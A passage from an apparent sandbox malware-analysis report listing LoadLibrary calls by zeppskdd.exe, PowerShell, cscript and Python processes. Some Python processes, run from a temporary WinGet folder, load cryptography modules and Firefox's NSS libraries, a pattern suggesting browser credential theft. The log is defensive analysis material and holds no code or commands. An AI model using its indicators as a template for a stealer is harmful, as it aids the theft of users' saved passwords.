"LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00004592) "zeppskdd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00004592) "zeppskdd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00004592) "zeppskdd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00004592) "zeppskdd.exe" called "LoadLibrary" with a parameter api-ms-win-core-string-l1-1-0 (UID: 00000000-00004592) "zeppskdd.exe" called "LoadLibrary" with a parameter api-ms-win-core-datetime-l1-1-1 (UID: 00000000-00004592) "zeppskdd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-obsolete-l1-2-0 (UID: 00000000-00004592) "zeppskdd.exe" called "LoadLibrary" with a parameter powrprof.dll (UID: 00000000-00004592) "zeppskdd.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00004592) "zeppskdd.exe" called "LoadLibrary" with a parameter ws2_32.dll (UID: 00000000-00004592) "zeppskdd.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2 (UID: 00000000-00004592) "zeppskdd.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00004592) "zeppskdd.exe" called "LoadLibrary" with a parameter iphlpapi.dll (UID: 00000000-00004592) "zeppskdd.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00004592) "zeppskdd.exe" called "LoadLibrary" with a parameter %WINDIR%\System32\perfos.dll (UID: 00000000-00004592) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\3b9003e4f27d92e40668f0efad11e022\mscorlib.ni.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\ce0fd4f5b50baa17e7b80e4ee874ad11\System.ni.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\990501e6199819806f01c8ecac88baac\System.Core.ni.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\86af2f4f2745738837c95f24472c32ca\Microsoft.PowerShell.ConsoleH (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\ea893d7e336a196c927c3f1251a1d1a9\System.Management.Automation. (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\f4889fa032f8023fe280a54700d6d3a5\Microsoft.Management.Infrastr (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\6287e09015a311a64c4fe0304818f8c3\System.Management.ni.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\2d1ff2ab3131de6a507f22ccc53b273a\System.DirectoryServices.ni.d (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\f0078c8c05b31633e5966c5629e65602\System.Xml.ni.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\VERSION.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\2a25b59872a72da9b55f952ab1b0bc8b\System.Configuration.ni.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Data\bf3d2e6042d943e0fec9ccc0d72c8f3b\System.Data.ni.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f792626#\49750ea038273f75321e479ef1525d1e\Microsoft.PowerShell.Security (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Transactions\dd0ed795d7234a2ae4314de052867161\System.Transactions.ni.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\Platform\4.18.23090.2008-0\MPCLIENT.DLL (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\Platform\4.18.23090.2008-0\MsMpLics.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P521220ea#\468fa5ae84991aaf4d90ecee8788f024\Microsoft.PowerShell.Commands (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Confe64a9051#\b4c34523c582146dea3ca389e3487145\System.Configuration.Install. (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Drawing\3c82a5286b5172d5a68c8df2e09c4c40\System.Drawing.ni.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\bee998043eb1e9badecd282a79540a5e\System.Windows.Forms.ni.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter gdi32.dll (UID: 00000000-00005884) "powershell.exe" called "LoadLibrary" with a parameter gdiplus.dll (UID: 00000000-00005884) "cscript.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00004004) "cscript.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00004004) "cscript.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00004004) "cscript.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00004004) "cscript.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00004004) "cscript.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00004004) "cscript.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00004004) "cscript.exe" called "LoadLibrary" with a parameter WLDP.DLL (UID: 00000000-00004004) "cscript.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00004004) "python.exe" called "LoadLibrary" with a parameter %TEMP%\WinGet\tools\python3 (UID: 00000000-00000636) "python.exe" called "LoadLibrary" with a parameter %TEMP%\WinGet\tools\DLLs\_bz2.pyd (UID: 00000000-00000636) "python.exe" called "LoadLibrary" with a parameter %TEMP%\WinGet\tools\DLLs\_lzma.pyd (UID: 00000000-00000636) "python.exe" called "LoadLibrary" with a parameter %TEMP%\WinGet\tools\DLLs\pyexpat.pyd (UID: 00000000-00000636) "python.exe" called "LoadLibrary" with a parameter %TEMP%\WinGet\tools\DLLs\_socket.pyd (UID: 00000000-00000636) "python.exe" called "LoadLibrary" with a parameter %TEMP%\WinGet\tools\DLLs\select.pyd (UID: 00000000-00000636) "python.exe" called "LoadLibrary" with a parameter %TEMP%\WinGet\tools\DLLs\_ctypes.pyd (UID: 00000000-00000636) "python.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00000636) "python.exe" called "LoadLibrary" with a parameter %TEMP%\WinGet\tools\DLLs\_ssl.pyd (UID: 00000000-00000636) "python.exe" called "LoadLibrary" with a parameter %TEMP%\WinGet\tools\DLLs\_hashlib.pyd (UID: 00000000-00000636) "python.exe" called "LoadLibrary" with a parameter %TEMP%\WinGet\tools\DLLs\_queue.pyd (UID: 00000000-00000636) "python.exe" called "LoadLibrary" with a parameter %TEMP%\WinGet\tools\DLLs\unicodedata.pyd (UID: 00000000-00000636) "python.exe" called "LoadLibrary" with a parameter %TEMP%\WinGet\tools\DLLs\_asyncio.pyd (UID: 00000000-00000636) "python.exe" called "LoadLibrary" with a parameter %TEMP%\WinGet\tools\DLLs\_overlapped.pyd (UID: 00000000-00000636) "python.exe" called "LoadLibrary" with a parameter shell32 (UID: 00000000-00000636) "python.exe" called "LoadLibrary" with a parameter %TEMP%\WinGet\tools\DLLs\_elementtree.pyd (UID: 00000000-00000636) "python.exe" called "LoadLibrary" with a parameter %TEMP%\WinGet\tools\DLLs\_uuid.pyd (UID: 00000000-00000636) "python.exe" called "LoadLibrary" with a parameter %TEMP%\WinGet\tools\DLLs\_decimal.pyd (UID: 00000000-00000636) "python.exe" called "LoadLibrary" with a parameter %TEMP%\WinGet\tools\python3 (UID: 00000000-00007668) "python.exe" called "LoadLibrary" with a parameter %TEMP%\WinGet\tools\DLLs\_bz2.pyd (UID: 00000000-00007668) "python.exe" called "LoadLibrary" with a parameter %TEMP%\WinGet\tools\DLLs\_lzma.pyd (UID: 00000000-00007668) "python.exe" called "LoadLibrary" with a parameter %TEMP%\WinGet\tools\DLLs\pyexpat.pyd (UID: 00000000-00007668) "python.exe" called "LoadLibrary" with a parameter %TEMP%\WinGet\tools\DLLs\_socket.pyd (UID: 00000000-00007668) "python.exe" called "LoadLibrary" with a parameter %TEMP%\WinGet\tools\DLLs\select.pyd (UID: 00000000-00007668) "python.exe" called "LoadLibrary" with a parameter %TEMP%\WinGet\tools\DLLs\_ctypes.pyd (UID: 00000000-00007668) "python.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007668) "python.exe" called "LoadLibrary" with a parameter %TEMP%\WinGet\tools\DLLs\_ssl.pyd (UID: 00000000-00007668) "python.exe" called "LoadLibrary" with a parameter %TEMP%\WinGet\tools\DLLs\_hashlib.pyd (UID: 00000000-00007668) "python.exe" called "LoadLibrary" with a parameter %TEMP%\WinGet\tools\DLLs\_queue.pyd (UID: 00000000-00007668) "python.exe" called "LoadLibrary" with a parameter %TEMP%\WinGet\tools\DLLs\unicodedata.pyd (UID: 00000000-00007668) "python.exe" called "LoadLibrary" with a parameter %TEMP%\WinGet\tools\DLLs\_asyncio.pyd (UID: 00000000-00007668) "python.exe" called "LoadLibrary" with a parameter %TEMP%\WinGet\tools\DLLs\_overlapped.pyd (UID: 00000000-00007668) "python.exe" called "LoadLibrary" with a parameter shell32 (UID: 00000000-00007668) "python.exe" called "LoadLibrary" with a parameter %TEMP%\WinGet\tools\DLLs\_elementtree.pyd (UID: 00000000-00007668) "python.exe" called "LoadLibrary" with a parameter %TEMP%\WinGet\tools\DLLs\_uuid.pyd (UID: 00000000-00007668) "python.exe" called "LoadLibrary" with a parameter %TEMP%\WinGet\tools\DLLs\_decimal.pyd (UID: 00000000-00007668) "python.exe" called "LoadLibrary" with a parameter %TEMP%\WinGet\tools\python3 (UID: 00000000-00008784) "python.exe" called "LoadLibrary" with a parameter %TEMP%\WinGet\tools\DLLs\_bz2.pyd (UID: 00000000-00008784) "python.exe" called "LoadLibrary" with a parameter %TEMP%\WinGet\tools\DLLs\_lzma.pyd (UID: 00000000-00008784) "python.exe" called "LoadLibrary" with a parameter %TEMP%\WinGet\tools\DLLs\pyexpat.pyd (UID: 00000000-00008784) "python.exe" called "LoadLibrary" with a parameter %TEMP%\WinGet\tools\DLLs\_socket.pyd (UID: 00000000-00008784) "python.exe" called "LoadLibrary" with a parameter %TEMP%\WinGet\tools\DLLs\select.pyd (UID: 00000000-00008784) "python.exe" called "LoadLibrary" with a parameter %TEMP%\WinGet\tools\DLLs\_ctypes.pyd (UID: 00000000-00008784) "python.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00008784) "python.exe" called "LoadLibrary" with a parameter %TEMP%\WinGet\tools\DLLs\_ssl.pyd (UID: 00000000-00008784) "python.exe" called "LoadLibrary" with a parameter %TEMP%\WinGet\tools\DLLs\_hashlib.pyd (UID: 00000000-00008784) "python.exe" called "LoadLibrary" with a parameter %TEMP%\WinGet\tools\DLLs\_queue.pyd (UID: 00000000-00008784) "python.exe" called "LoadLibrary" with a parameter %TEMP%\WinGet\tools\DLLs\unicodedata.pyd (UID: 00000000-00008784) "python.exe" called "LoadLibrary" with a parameter %TEMP%\WinGet\tools\DLLs\_asyncio.pyd (UID: 00000000-00008784) "python.exe" called "LoadLibrary" with a parameter %TEMP%\WinGet\tools\DLLs\_overlapped.pyd (UID: 00000000-00008784) "python.exe" called "LoadLibrary" with a parameter shell32 (UID: 00000000-00008784) "python.exe" called "LoadLibrary" with a parameter %TEMP%\WinGet\tools\DLLs\_elementtree.pyd (UID: 00000000-00008784) "python.exe" called "LoadLibrary" with a parameter %TEMP%\WinGet\tools\DLLs\_uuid.pyd (UID: 00000000-00008784) "python.exe" called "LoadLibrary" with a parameter %TEMP%\WinGet\tools\DLLs\_decimal.pyd (UID: 00000000-00008784) "python.exe" called "LoadLibrary" with a parameter %TEMP%\WinGet\tools\python3 (UID: 00000000-00003736) "python.exe" called "LoadLibrary" with a parameter %TEMP%\WinGet\tools\DLLs\_ctypes.pyd (UID: 00000000-00003736) "python.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00003736) "python.exe" called "LoadLibrary" with a parameter %TEMP%\WinGet\tools\DLLs\_bz2.pyd (UID: 00000000-00003736) "python.exe" called "LoadLibrary" with a parameter %TEMP%\WinGet\tools\DLLs\_lzma.pyd (UID: 00000000-00003736) "python.exe" called "LoadLibrary" with a parameter %TEMP%\WinGet\tools\DLLs\_socket.pyd (UID: 00000000-00003736) "python.exe" called "LoadLibrary" with a parameter %TEMP%\WinGet\tools\DLLs\select.pyd (UID: 00000000-00003736) "python.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00003736) "python.exe" called "LoadLibrary" with a parameter %TEMP%\WinGet\tools\DLLs\_sqlite3.pyd (UID: 00000000-00003736) "python.exe" called "LoadLibrary" with a parameter %TEMP%\WinGet\tools\lib\site-packages\Crypto\Util\_cpuid_c.pyd (UID: 00000000-00003736) "python.exe" called "LoadLibrary" with a parameter %TEMP%\WinGet\tools\lib\site-packages\Crypto\Cipher\_raw_aes.pyd (UID: 00000000-00003736) "python.exe" called "LoadLibrary" with a parameter %TEMP%\WinGet\tools\lib\site-packages\Crypto\Cipher\_raw_aesni.pyd (UID: 00000000-00003736) "python.exe" called "LoadLibrary" with a parameter %TEMP%\WinGet\tools\lib\site-packages\Crypto\Cipher\_chacha20.pyd (UID: 00000000-00003736) "python.exe" called "LoadLibrary" with a parameter %TEMP%\WinGet\tools\lib\site-packages\Crypto\Hash\_BLAKE2s.pyd (UID: 00000000-00003736) "python.exe" called "LoadLibrary" with a parameter %TEMP%\WinGet\tools\lib\site-packages\Crypto\Hash\_poly1305.pyd (UID: 00000000-00003736) "python.exe" called "LoadLibrary" with a parameter shell32 (UID: 00000000-00003736) "python.exe" called "LoadLibrary" with a parameter advapi32 (UID: 00000000-00003736) "python.exe" called "LoadLibrary" with a parameter crypt32 (UID: 00000000-00003736) "python.exe" called "LoadLibrary" with a parameter NCRYPT (UID: 00000000-00003736) "python.exe" called "LoadLibrary" with a parameter %TEMP%\WinGet\tools\lib\site-packages\Crypto\Hash\_ghash_portable.pyd (UID: 00000000-00003736) "python.exe" called "LoadLibrary" with a parameter %TEMP%\WinGet\tools\lib\site-packages\Crypto\Hash\_ghash_clmul.pyd (UID: 00000000-00003736) "python.exe" called "LoadLibrary" with a parameter %TEMP%\WinGet\tools\lib\site-packages\Crypto\Cipher\_raw_ecb.pyd (UID: 00000000-00003736) "python.exe" called "LoadLibrary" with a parameter %TEMP%\WinGet\tools\lib\site-packages\Crypto\Cipher\_raw_ctr.pyd (UID: 00000000-00003736) "python.exe" called "LoadLibrary" with a parameter KernelBase.dll (UID: 00000000-00003736) "python.exe" called "LoadLibrary" with a parameter cryptbase.dll (UID: 00000000-00003736) "python.exe" called "LoadLibrary" with a parameter %PROGRAMFILES%\Mozilla Firefox\nss3.dll (UID: 00000000-00003736) "python.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00003736) "python.exe" called "LoadLibrary" with a parameter %PROGRAMFILES%\Mozilla Firefox\softokn3.dll (UID: 00000000-00003736) "python.exe" called "LoadLibrary" with a parameter %PROGRAMFILES%\Mozilla Firefox\freebl3.dll (UID: 00000000-00003736) "python.exe" called "LoadLibrary" with a parameter %APPDATA%\Mozilla\Firefox\Profiles\5xz6ua91.default-release/nssckbi.dll (UID: 00000000-00003736) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00002044) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00002044) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00002044) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00002044) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00002044) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00002044) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00002044) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00002044) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00002044) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00002044) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00002044) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00002044) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00002044) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00002044) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00002044) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00002044) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00002044) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\3b9003e4f27d92e40668f0efad11e022\mscorlib.ni.dll (UID: 00000000-00002044) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00002044) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00002044) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00002044) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00002044) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00002044) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00002044) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\ce0fd4f5b50baa17e7b80e4ee874ad11\System.ni.dll (UID: 00000000-00002044) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\990501e6199819806f01c8ecac88baac\System.Core.ni.dll (UID: 00000000-00002044) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\86af2f4f2745738837c95f24472c32ca\Microsoft.PowerShell.ConsoleH (UID: 00000000-00002044) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00002044) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00002044) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\ea893d7e336a196c927c3f1251a1d1a9\System.Management.Automation. (UID: 00000000-00002044) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00002044) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00002044) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00002044) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00002044) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00002044) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00002044) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00002044) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00002044) "powershell.exe" called "LoadLibrary" with a parameter 